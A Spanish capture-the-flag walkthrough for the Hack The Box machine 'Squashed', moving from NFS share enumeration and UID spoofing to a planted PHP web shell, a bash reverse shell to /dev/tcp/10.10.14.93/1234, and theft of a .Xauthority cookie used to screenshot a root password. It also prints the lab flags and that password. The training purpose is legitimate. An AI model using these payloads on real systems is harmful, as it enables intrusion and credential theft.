1. Comprobación del sistema operativo
python whichsystem.py 10.10.11.191
Tiene como salida:
10.10.11.191 (ttl -> 63): Linux
2. Descubrimiento de puertos y servicios
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.191
Obtenemos el siguiente resultado:
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
111/tcp open rpcbind syn-ack ttl 63
2049/tcp open nfs syn-ack ttl 63
33293/tcp open unknown syn-ack ttl 63
40787/tcp open unknown syn-ack ttl 63
41163/tcp open unknown syn-ack ttl 63
57919/tcp open unknown syn-ack ttl 63
3. Comprobamos servicios y lanzamos scripts principales contra dichos puertos
nmap -sCV -p22,80,111,2049,33293,40787,41163,57919 10.10.11.191
Observamos que nos devuelve la siguiente salida:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 33800/udp mountd
| 100005 1,2,3 41163/tcp mountd
| 100005 1,2,3 50755/tcp6 mountd
| 100005 1,2,3 60013/udp6 mountd
| 100021 1,3,4 33032/udp nlockmgr
| 100021 1,3,4 40113/tcp6 nlockmgr
| 100021 1,3,4 40418/udp6 nlockmgr
| 100021 1,3,4 40787/tcp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
33293/tcp open mountd 1-3 (RPC #100005)
40787/tcp open nlockmgr 1-4 (RPC #100021)
41163/tcp open mountd 1-3 (RPC #100005)
57919/tcp open mountd 1-3 (RPC #100005)
3. Recorremos la página web
Luego de recorre la página web, no observamos nada interesante, por lo que lanzamos un fuzzing a la web mediante la herramienta gobuster:
gobuster dir -u 10.10.11.191:80 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Pero como observamos en la siguiente salida, no obtenemos nada destacable:
===============================================================
/images (Status: 301) [Size: 313] [--> http://10.10.11.191/images/]
/css (Status: 301) [Size: 310] [--> http://10.10.11.191/css/]
/js (Status: 301) [Size: 309] [--> http://10.10.11.191/js/]
/server-status (Status: 403) [Size: 277]
4. Servicio rpcbind
Si volvemos a observar la salida de la herramienta nmap vemos que la máquina hace uso del servicio rpcbind. Podemos por ejemplo ejecutar la siguiente consulta para observar los servicios que este tiene disponible (aunque ya nos lo lista el propio nmap):
rpcinfo -p 10.10.11.191
Obteniendo la siguiente salida:
program vers proto port service
100000 4 tcp 111 portmapper
100000 3 tcp 111 portmapper
100000 2 tcp 111 portmapper
100000 4 udp 111 portmapper
100000 3 udp 111 portmapper
100000 2 udp 111 portmapper
100005 1 udp 34351 mountd
100005 1 tcp 57919 mountd
100005 2 udp 58284 mountd
100005 2 tcp 33293 mountd
100005 3 udp 33800 mountd
100005 3 tcp 41163 mountd
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100227 3 tcp 2049 nfs_acl
100003 3 udp 2049 nfs
100227 3 udp 2049 nfs_acl
100021 1 udp 33032 nlockmgr
100021 3 udp 33032 nlockmgr
100021 4 udp 33032 nlockmgr
100021 1 tcp 40787 nlockmgr
100021 3 tcp 40787 nlockmgr
100021 4 tcp 40787 nlockmgr
Si descargamos el paquene nfs-utils (en arch), podemos ejectar el comando showmount para ver los directorios que hay disponibles para ser montados:
showmount -e 10.10.11.191
Y observamos nos devuelve los siguientes:
/home/ross *
/var/www/html *
Por lo que intentamos montar el directorio /home/ross, con el siguiente comando:
sudo mount -t nfs 10.10.11.191:/home/ross /home/juan/HackTheBox/maquinas/squashed/test
Y observamos el siguiente contenido
ls
Desktop Documents Downloads Music Pictures Public Templates Videos
En dichos directorios solo nos encontramos con un arhivo .kdbx (es decir de Keepass), llamado Passwords.kdbx.
5. Montado de la otra carpeta
Intentamos montar la otra carpeta (/var/www/html), mediante el siguiente comando:
sudo mount -t nfs 10.10.11.191:/var/www/html /home/juan/HackTheBox/maquinas/squashed/test
Si queremos acceder a ella observamos como no podemos, porque el propietario es el siguiente:
drwxr-xr-- 5 2017 http 4096 mar 1 12:15 test
Por lo que procedemos a hacer los siguientes pasos:
-
Creamos un nuevo usuario llamado dummy:
sudo useradd dummy -
Accedemos como este nuevo usuario:
sudo su dummy -
Observamos que tiene el siguiente id:
id uid=4036(dummy) gid=4036(dummy) grupos=4036(dummy) -
Cambiamos el uid del usuario dummy
sudo usermod -u 2017 dummy uid=2017(dummy) gid=4036(dummy) grupos=4036(dummy) -
Ya podemos acceder a la carpeta montada y ver su contenido
css images index.html jsEste parece el directorio del sitio web que se está mostrando en la página web. Podemos crear un nuevo archivo .html para comprobar si es posible acceder a el:
echo "Hola" > test.htmlObservamos como que si nos dirigimos al endpoint
http://10.10.11.191/test.htmlsomos capaces de obtener el mensaje de Hola.
6. Explotación
Se nos ocurre entonces crear una especie de shell en un archivo con extensión .php. Para ello ejecutamos
echo -e '<?php\n system($_REQUEST['cmd']);\n?>' > test.php
Por que si ahora hacemos por ejemplo la siguiente peticion http://10.10.11.191/test.php?cmd=id, obtenemos lo siguiente
uid=2017(alex) gid=2017(alex) groups=2017(alex)
Podemos entonces crear una revershell aprovechando esto, ejecutando para ello la siguiente petición:
http://10.10.11.191/test.php?cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.93/1234 0>&1'
A mayores, debemos establecer un servicio netcat escuchando:
nc -lvp 1234
Pero observamos que esto no funciona. Esto es puede ser debido a que debemos codificar la url de la petición, por lo que realizamos la siguiente:
http://10.10.11.191/test.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.93%2F1234%200%3E%261%27
En este caso si que nos funciona y por lo tanto obtenemos acceso a una shell a través del usuario alex.
7. Flag de usuario
Somos capaces de obtener la flag de usuario -> e13eed60e2b2857bf4f0a3000f538cb4
8. Escalada de privilegios
Investigando por la carpeta del usuario Alex, encontramos el archivo .Xauthority. Este archivo se utiliza como cookie para conectarse a través de otras shells. Por lo que procedemos a ver las tty o shells activas con:
# w
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 :0 05:13 12:08m 1:02 0.06s /usr/libexec/gn
Podemos intentar comprobar si tenemos conexión con la tty a través de los siguientes comandos:
# xdpyinfo -display :0
No protocol specified
xdpyinfo: unable to open display ":0".
# xwininfo -root -tree -display :0
No protocol specified
xwininfo: error: unable to open display ":0"
Por lo que para este caso no nos sirve dicho .Xauthority.
9. Escalada de privilegios 2
Si volvemos a montar el archivo nfs, comentado en uno de los puntos anteriores (el directorio /home/ross):
sudo mount -t nfs 10.10.11.191:/home/ross /home/juan/HackTheBox/maquinas/squashed/ross
Si observamos los archivos ocultos, vemos que existe otro .Xauthority.
drwxr-xr-x 4 juan juan 4096 mar 1 22:27 ..
-rw------- 1 1001 1001 57 mar 1 06:13 .Xauthority
drwx------ 11 1001 1001 4096 oct 21 16:57 .cache
drwx------ 12 1001 1001 4096 oct 21 16:57 .config
drwx------ 3 1001 1001 4096 oct 21 16:57 .gnupg
drwx------ 3 1001 1001 4096 oct 21 16:57 .local
lrwxrwxrwx 1 root root 9 oct 21 15:07 .viminfo -> /dev/null
lrwxrwxrwx 1 root root 9 oct 20 15:24 .bash_history -> /dev/null
-rw------- 1 1001 1001 2475 mar 1 06:13 .xsession-errors
-rw------- 1 1001 1001 2475 dic 27 16:33 .xsession-errors.old
drwxr-xr-x 2 1001 1001 4096 oct 21 16:57 Desktop
drwxr-xr-x 2 1001 1001 4096 oct 21 16:57 Documents
drwxr-xr-x 2 1001 1001 4096 oct 21 16:57 Downloads
drwxr-xr-x 2 1001 1001 4096 oct 21 16:57 Music
drwxr-xr-x 2 1001 1001 4096 oct 21 16:57 Pictures
drwxr-xr-x 2 1001 1001 4096 oct 21 16:57 Public
drwxr-xr-x 2 1001 1001 4096 oct 21 16:57 Templates
drwxr-xr-x 2 1001 1001 4096 oct 21 16:57 Videos
Antes de enviarlo deberemos de crear un usario que tenga el uid 1001, para que pueda utilizar dicho .Xauthority.
# sudo useradd test
# sudo usermod -u 1001 test
# sudo su test
Por lo que mediante un servidor creado por nosotros, enviamos el archivo a la máquina objetivo:
# sudo python -m http.server 8000
% curl http://10.10.14.93:8000/.Xauthority -o /tmp/.Xauthority
10. Conexión con tty
Podemos probar ahora a realizar la conexion a la tty, empleando para ello el nuevo archivo .Xauthority. Para ello ejecutamos el siguiente comando:
XAUTHORITY=/tmp/.Xauthority xdpyinfo -display :0
Podemos entonces capturar la pantalla del tty, mediante el siguiente comando:
XAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/cap.xwd
Podemos pasar este archivo a nuestra máquina local, y mediante el paquete imagemagick, para Archlinux, realizamos al conversión al formato png.
convert cap.xwd cap.png
Observando como somos capaces de ver la contraseña del usuario root : cah$mei7rai9A. Por lo que mediante su - somos capaces de acceder como usuario root.
11. Flag de root
Somos entonces capaces de obtener el flag del usuario root -> 5b73cb3cf68b019d27094abb7f16c231